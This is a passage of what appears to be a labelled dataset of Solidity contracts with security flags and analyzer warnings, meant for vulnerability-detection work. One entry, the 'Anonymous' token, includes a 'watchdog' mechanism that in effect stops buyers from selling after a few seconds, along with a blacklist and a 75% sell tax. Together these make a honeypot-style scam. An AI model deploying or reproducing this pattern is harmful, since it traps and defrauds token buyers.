"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRouter {\n function factory() external pure returns (address);\n function getAmountsOut(\n uint256 amountIn,\n address[] calldata path\n ) external view returns (uint256[] memory amounts);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}",
"file_name": "solidity_code_1925.sol",
"secure": 1,
"size_bytes": 886
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract Anonymous is Context, IERC20, Ownable {\n using Address for address payable;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cef125b): Anonymous.router should be immutable \n\t// Recommendation for cef125b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IRouter public router;\n\t// WARNING Optimization Issue (immutable-states | ID: 17edc8d): Anonymous.pair should be immutable \n\t// Recommendation for 17edc8d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public pair;\n\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public _isExcludedFromFee;\n mapping(address => bool) public _isExcludedFromMaxBalance;\n mapping(address => bool) public _isBlacklisted;\n mapping(address => uint256) public _dogSellTime;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79bd293): Anonymous._dogSellTimeOffset should be constant \n\t// Recommendation for 79bd293: Add the 'constant' attribute to state variables that never change.\n uint256 private _dogSellTimeOffset = 3;\n bool public watchdogMode = true;\n uint256 public _caughtDogs;\n\n uint8 private constant _decimals = 9;\n\t// WARNING Optimization Issue (constable-states | ID: 24b9eb8): Anonymous._tTotal should be constant \n\t// Recommendation for 24b9eb8: Add the 'constant' attribute to state variables that never change.\n uint256 private _tTotal = 1_000_000 * (10 ** _decimals);\n\t// WARNING Optimization Issue (constable-states | ID: 303c102): Anonymous.swapThreshold should be constant \n\t// Recommendation for 303c102: Add the 'constant' attribute to state variables that never change.\n uint256 public swapThreshold = 5_000 * (10 ** _decimals);\n uint256 public maxTxAmount = 20_000 * (10 ** _decimals);\n uint256 public maxWallet = 20_000 * (10 ** _decimals);\n\n string private constant _name = \"Anonymous\";\n string private constant _symbol = \"ANON\";\n\n struct Tax {\n uint8 marketingTax;\n uint8 lpTax;\n }\n\n struct TokensFromTax {\n uint256 marketingTokens;\n uint256 lpTokens;\n }\n TokensFromTax public totalTokensFromTax;\n\n Tax public buyTax = Tax(25, 1);\n Tax public sellTax = Tax(75, 1);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4fd8b2a): Anonymous.marketingWallet should be constant \n\t// Recommendation for 4fd8b2a: Add the 'constant' attribute to state variables that never change.\n address public marketingWallet = 0xF75311B30d8FCf9Be1d8112B5D212fDaB285Ca7a;\n\n bool private swapping;\n\t// WARNING Optimization Issue (constable-states | ID: 5e28534): Anonymous._swapCooldown should be constant \n\t// Recommendation for 5e28534: Add the 'constant' attribute to state variables that never change.\n uint256 private _swapCooldown = 5;\n uint256 private _lastSwap;\n modifier lockTheSwap() {\n swapping = true;\n _;\n swapping = false;\n }\n\n constructor() {\n _tOwned[_msgSender()] = _tTotal;\n IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n address _pair = IFactory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n router = _router;\n pair = _pair;\n _approve(owner(), address(router), ~uint256(0));\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[marketingWallet] = true;\n\n _isExcludedFromMaxBalance[owner()] = true;\n _isExcludedFromMaxBalance[address(this)] = true;\n _isExcludedFromMaxBalance[pair] = true;\n _isExcludedFromMaxBalance[marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 84e6e7e): Anonymous.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 84e6e7e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b6ba5fb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b6ba5fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b6e526c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b6e526c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b6ba5fb\n\t\t// reentrancy-benign | ID: b6e526c\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: b6ba5fb\n\t\t// reentrancy-benign | ID: b6e526c\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: efdea39): Anonymous._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for efdea39: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: b6e526c\n\t\t// reentrancy-benign | ID: ac3e316\n\t\t// reentrancy-benign | ID: 2d3be66\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 270ac45\n\t\t// reentrancy-events | ID: b6ba5fb\n\t\t// reentrancy-events | ID: a415c08\n emit Approval(owner, spender, amount);\n }\n\n receive() external payable {}\n\n function owner_setBlacklisted(\n address account,\n bool isBlacklisted\n ) public onlyOwner {\n _isBlacklisted[account] = isBlacklisted;\n }\n\n function owner_setBulkIsBlacklisted(\n address[] memory accounts,\n bool state\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isBlacklisted[accounts[i]] = state;\n }\n }\n\n function owner_setBuyTaxes(\n uint8 marketingTax,\n uint8 lpTax\n ) external onlyOwner {\n uint256 tTax = marketingTax + lpTax;\n require(tTax <= 30, \"Can't set tax too high\");\n buyTax = Tax(marketingTax, lpTax);\n emit TaxesChanged();\n }\n\n function owner_setSellTaxes(\n uint8 marketingTax,\n uint8 lpTax\n ) external onlyOwner {\n uint256 tTax = marketingTax + lpTax;\n require(tTax <= 80, \"Can't set tax too high\");\n sellTax = Tax(marketingTax, lpTax);\n emit TaxesChanged();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7ae5943): Anonymous.owner_setTransferMaxes(uint256,uint256) should emit an event for maxTxAmount = maxTX_EXACT * (10 ** _decimals) maxWallet = maxWallet_EXACT * (10 ** _decimals) \n\t// Recommendation for 7ae5943: Emit an event for critical parameter changes.\n function owner_setTransferMaxes(\n uint256 maxTX_EXACT,\n uint256 maxWallet_EXACT\n ) public onlyOwner {\n uint256 pointFiveSupply = ((_tTotal * 5) / 1000) / (10 ** _decimals);\n require(\n maxTX_EXACT >= pointFiveSupply &&\n maxWallet_EXACT >= pointFiveSupply,\n \"Invalid Settings\"\n );\n\t\t// events-maths | ID: 7ae5943\n maxTxAmount = maxTX_EXACT * (10 ** _decimals);\n\t\t// events-maths | ID: 7ae5943\n maxWallet = maxWallet_EXACT * (10 ** _decimals);\n }\n\n function owner_rescueETH(uint256 weiAmount) public onlyOwner {\n require(address(this).balance >= weiAmount, \"Insufficient ETH balance\");\n payable(msg.sender).transfer(weiAmount);\n }\n\n function owner_rescueExcessTokens() public {\n uint256 pendingTaxTokens = totalTokensFromTax.lpTokens +\n totalTokensFromTax.marketingTokens;\n require(balanceOf(address(this)) > pendingTaxTokens);\n uint256 excessTokens = balanceOf(address(this)) - pendingTaxTokens;\n _transfer(address(this), marketingWallet, excessTokens);\n }\n\n function owner_setWatchDogMode(bool status_) external onlyOwner {\n watchdogMode = status_;\n }\n\n function owner_setDogSellTimeForAddress(\n address holder,\n uint256 dTime\n ) external onlyOwner {\n _dogSellTime[holder] = block.timestamp + dTime;\n }\n\n function _getTaxValues(\n uint256 amount,\n address from,\n bool isSell\n ) private returns (uint256) {\n Tax memory tmpTaxes = buyTax;\n if (isSell) {\n tmpTaxes = sellTax;\n }\n\n uint256 tokensForMarketing = (amount * tmpTaxes.marketingTax) / 100;\n uint256 tokensForLP = (amount * tmpTaxes.lpTax) / 100;\n\n if (tokensForMarketing > 0)\n\t\t\t// reentrancy-eth | ID: 636a29b\n totalTokensFromTax.marketingTokens += tokensForMarketing;\n\n\t\t// reentrancy-eth | ID: 636a29b\n if (tokensForLP > 0) totalTokensFromTax.lpTokens += tokensForLP;\n\n uint256 totalTaxedTokens = tokensForMarketing + tokensForLP;\n\n\t\t// reentrancy-eth | ID: 636a29b\n _tOwned[address(this)] += totalTaxedTokens;\n if (totalTaxedTokens > 0)\n\t\t\t// reentrancy-events | ID: cf5bec2\n emit Transfer(from, address(this), totalTaxedTokens);\n\n return (amount - totalTaxedTokens);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 2e32511): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 2e32511: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8275dd5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8275dd5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cf5bec2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cf5bec2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7b016fe): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7b016fe: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 636a29b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 636a29b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2fd1837): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2fd1837: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n require(\n amount <= maxTxAmount || _isExcludedFromMaxBalance[from],\n \"Transfer amount exceeds the _maxTxAmount.\"\n );\n require(\n !_isBlacklisted[from] && !_isBlacklisted[to],\n \"Blacklisted, can't trade\"\n );\n\n if (!_isExcludedFromMaxBalance[to])\n require(\n balanceOf(to) + amount <= maxWallet,\n \"Transfer amount exceeds the maxWallet.\"\n );\n\n if (\n\t\t\t// timestamp | ID: 2e32511\n balanceOf(address(this)) >= swapThreshold &&\n block.timestamp >= (_lastSwap + _swapCooldown) &&\n !swapping &&\n from != pair &&\n from != owner() &&\n to != owner()\n\t\t// reentrancy-events | ID: 8275dd5\n\t\t// reentrancy-events | ID: cf5bec2\n\t\t// reentrancy-benign | ID: 7b016fe\n\t\t// reentrancy-eth | ID: 636a29b\n\t\t// reentrancy-eth | ID: 2fd1837\n ) swapAndLiquify();\n\n\t\t// reentrancy-eth | ID: 636a29b\n _tOwned[from] -= amount;\n uint256 transferAmount = amount;\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n\t\t\t// reentrancy-events | ID: cf5bec2\n\t\t\t// reentrancy-eth | ID: 636a29b\n transferAmount = _getTaxValues(amount, from, to == pair);\n if (from == pair) {\n if (watchdogMode) {\n\t\t\t\t\t// reentrancy-benign | ID: 7b016fe\n _caughtDogs++;\n\t\t\t\t\t// reentrancy-benign | ID: 7b016fe\n _dogSellTime[to] = block.timestamp + _dogSellTimeOffset;\n }\n } else {\n if (_dogSellTime[from] != 0)\n\t\t\t\t\t// timestamp | ID: 2e32511\n require(block.timestamp < _dogSellTime[from]);\n }\n }\n\n\t\t// reentrancy-eth | ID: 2fd1837\n _tOwned[to] += transferAmount;\n\t\t// reentrancy-events | ID: 8275dd5\n emit Transfer(from, to, transferAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 270ac45): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 270ac45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a415c08): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a415c08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ac3e316): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ac3e316: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2d3be66): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2d3be66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b9a3071): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b9a3071: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 413f8fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 413f8fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify() private lockTheSwap {\n if (totalTokensFromTax.marketingTokens > 0) {\n\t\t\t// reentrancy-events | ID: 270ac45\n\t\t\t// reentrancy-events | ID: a415c08\n\t\t\t// reentrancy-benign | ID: ac3e316\n\t\t\t// reentrancy-benign | ID: 2d3be66\n\t\t\t// reentrancy-eth | ID: b9a3071\n\t\t\t// reentrancy-eth | ID: 413f8fb\n uint256 ethSwapped = swapTokensForETH(\n totalTokensFromTax.marketingTokens\n );\n if (ethSwapped > 0) {\n\t\t\t\t// reentrancy-events | ID: 8275dd5\n\t\t\t\t// reentrancy-events | ID: 270ac45\n\t\t\t\t// reentrancy-events | ID: b6ba5fb\n\t\t\t\t// reentrancy-events | ID: a415c08\n\t\t\t\t// reentrancy-events | ID: cf5bec2\n\t\t\t\t// reentrancy-eth | ID: b9a3071\n\t\t\t\t// reentrancy-eth | ID: 636a29b\n\t\t\t\t// reentrancy-eth | ID: 2fd1837\n\t\t\t\t// reentrancy-eth | ID: 413f8fb\n payable(marketingWallet).transfer(ethSwapped);\n\t\t\t\t// reentrancy-eth | ID: b9a3071\n totalTokensFromTax.marketingTokens = 0;\n }\n }\n\n if (totalTokensFromTax.lpTokens > 0) {\n uint256 half = totalTokensFromTax.lpTokens / 2;\n uint256 otherHalf = totalTokensFromTax.lpTokens - half;\n\t\t\t// reentrancy-events | ID: 270ac45\n\t\t\t// reentrancy-events | ID: a415c08\n\t\t\t// reentrancy-benign | ID: ac3e316\n\t\t\t// reentrancy-benign | ID: 2d3be66\n\t\t\t// reentrancy-eth | ID: 413f8fb\n uint256 balAutoLP = swapTokensForETH(half);\n\t\t\t// reentrancy-events | ID: a415c08\n\t\t\t// reentrancy-benign | ID: ac3e316\n\t\t\t// reentrancy-eth | ID: 413f8fb\n if (balAutoLP > 0) addLiquidity(otherHalf, balAutoLP);\n\t\t\t// reentrancy-eth | ID: 413f8fb\n totalTokensFromTax.lpTokens = 0;\n }\n\n\t\t// reentrancy-events | ID: a415c08\n emit SwapAndLiquify();\n\n\t\t// reentrancy-benign | ID: ac3e316\n _lastSwap = block.timestamp;\n }\n\n function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {\n uint256 initialBalance = address(this).balance;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = router.WETH();\n\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8275dd5\n\t\t// reentrancy-events | ID: 270ac45\n\t\t// reentrancy-events | ID: b6ba5fb\n\t\t// reentrancy-events | ID: a415c08\n\t\t// reentrancy-events | ID: cf5bec2\n\t\t// reentrancy-benign | ID: b6e526c\n\t\t// reentrancy-benign | ID: ac3e316\n\t\t// reentrancy-benign | ID: 7b016fe\n\t\t// reentrancy-benign | ID: 2d3be66\n\t\t// reentrancy-eth | ID: b9a3071\n\t\t// reentrancy-eth | ID: 636a29b\n\t\t// reentrancy-eth | ID: 2fd1837\n\t\t// reentrancy-eth | ID: 413f8fb\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n return (address(this).balance - initialBalance);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 46dfaf7): Anonymous.addLiquidity(uint256,uint256) uses timestamp for comparisons Dangerous comparisons ethAmount ethFromLiquidity > 0\n\t// Recommendation for 46dfaf7: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: fddc35e): Anonymous.addLiquidity(uint256,uint256) ignores return value by (None,ethFromLiquidity,None) = router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for fddc35e: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8275dd5\n\t\t// reentrancy-events | ID: b6ba5fb\n\t\t// reentrancy-events | ID: a415c08\n\t\t// reentrancy-events | ID: cf5bec2\n\t\t// reentrancy-benign | ID: b6e526c\n\t\t// reentrancy-benign | ID: ac3e316\n\t\t// reentrancy-benign | ID: 7b016fe\n\t\t// unused-return | ID: fddc35e\n\t\t// reentrancy-eth | ID: 636a29b\n\t\t// reentrancy-eth | ID: 2fd1837\n\t\t// reentrancy-eth | ID: 413f8fb\n (, uint256 ethFromLiquidity, ) = router.addLiquidityETH{\n value: ethAmount\n }(address(this), tokenAmount, 0, 0, owner(), block.timestamp);\n\n\t\t// timestamp | ID: 46dfaf7\n if (ethAmount - ethFromLiquidity > 0)\n\t\t\t// reentrancy-events | ID: 8275dd5\n\t\t\t// reentrancy-events | ID: b6ba5fb\n\t\t\t// reentrancy-events | ID: a415c08\n\t\t\t// reentrancy-events | ID: cf5bec2\n\t\t\t// reentrancy-benign | ID: b6e526c\n\t\t\t// reentrancy-benign | ID: ac3e316\n\t\t\t// reentrancy-benign | ID: 7b016fe\n\t\t\t// reentrancy-eth | ID: 636a29b\n\t\t\t// reentrancy-eth | ID: 2fd1837\n\t\t\t// reentrancy-eth | ID: 413f8fb\n payable(marketingWallet).sendValue(ethAmount - ethFromLiquidity);\n }\n\n event SwapAndLiquify();\n event TaxesChanged();\n}",
"file_name": "solidity_code_1926.sol",
"secure": 0,
"size_bytes": 23984
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract DataTypesPacked10 {\n struct PackItA {\n bytes16 x;\n uint64 i;\n }\n\n struct PackItB {\n bytes16 x;\n uint64 i;\n }\n\n uint64 b;\n uint64 a;\n\n struct PackItC {\n bytes16 x;\n uint64 i;\n uint64 z;\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 87fb96c): DataTypes_packed_10.SetVals().pack is a local variable never initialized\n\t// Recommendation for 87fb96c: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function SetVals() public {\n a = 1;\n b = 2;\n\n PackItA memory pack;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItB memory pack2;\n pack.x = \"a\";\n pack.i = 1;\n\n PackItC memory pack3;\n pack.x = \"a\";\n pack.i = 1;\n }\n}",
"file_name": "solidity_code_1927.sol",
"secure": 0,
"size_bytes": 980
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Remilio is Context, IERC20 {\n using SafeMath for uint256;\n\n string private constant _name = \"Remilio Coin\";\n string private constant _symbol = \"REMILIO\";\n uint8 private constant _decimals = 18;\n uint256 private _tTotal = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 269a919): Remilio.uniswapV2Router should be immutable \n\t// Recommendation for 269a919: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: f2f39c5): Remilio.uniswapV2Pair should be immutable \n\t// Recommendation for f2f39c5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => uint256) private balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n balances[_msgSender()] = _tTotal;\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function nameFnct() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] - subtractedValue\n );\n return true;\n }\n\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _burnTokens(address from, uint256 value) internal {\n require(from != address(0), \"ERC20: burn from the zero address\");\n balances[from] = balances[from].sub(\n value,\n \"ERC20: burn amount exceeds balance\"\n );\n _tTotal = _tTotal.sub(value);\n emit Transfer(from, address(0), value);\n }\n\n function burn(uint256 amount) external {\n _burnTokens(_msgSender(), amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n balances[from] -= amount;\n balances[to] += amount;\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1928.sol",
"secure": 1,
"size_bytes": 5315
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function mint(address to, uint256 amount) external returns (bool);\n function burnFrom(address from, uint256 amount) external returns (bool);\n}",
"file_name": "solidity_code_1929.sol",
"secure": 1,
"size_bytes": 233
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\nimport \"@openzeppelin/contracts/interfaces/IERC721Metadata.sol\" as IERC721Metadata;\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\" as IERC165;\nimport \"@openzeppelin/contracts/interfaces/IERC721Receiver.sol\" as IERC721Receiver;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: address zero is not a valid owner\"\n );\n\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n\n require(owner != address(0), \"ERC721: invalid token ID\");\n\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9124046): janodotpt.mint(address,string,uint256).tokenURI shadows ERC721URIStorage.tokenURI(uint256) (function) 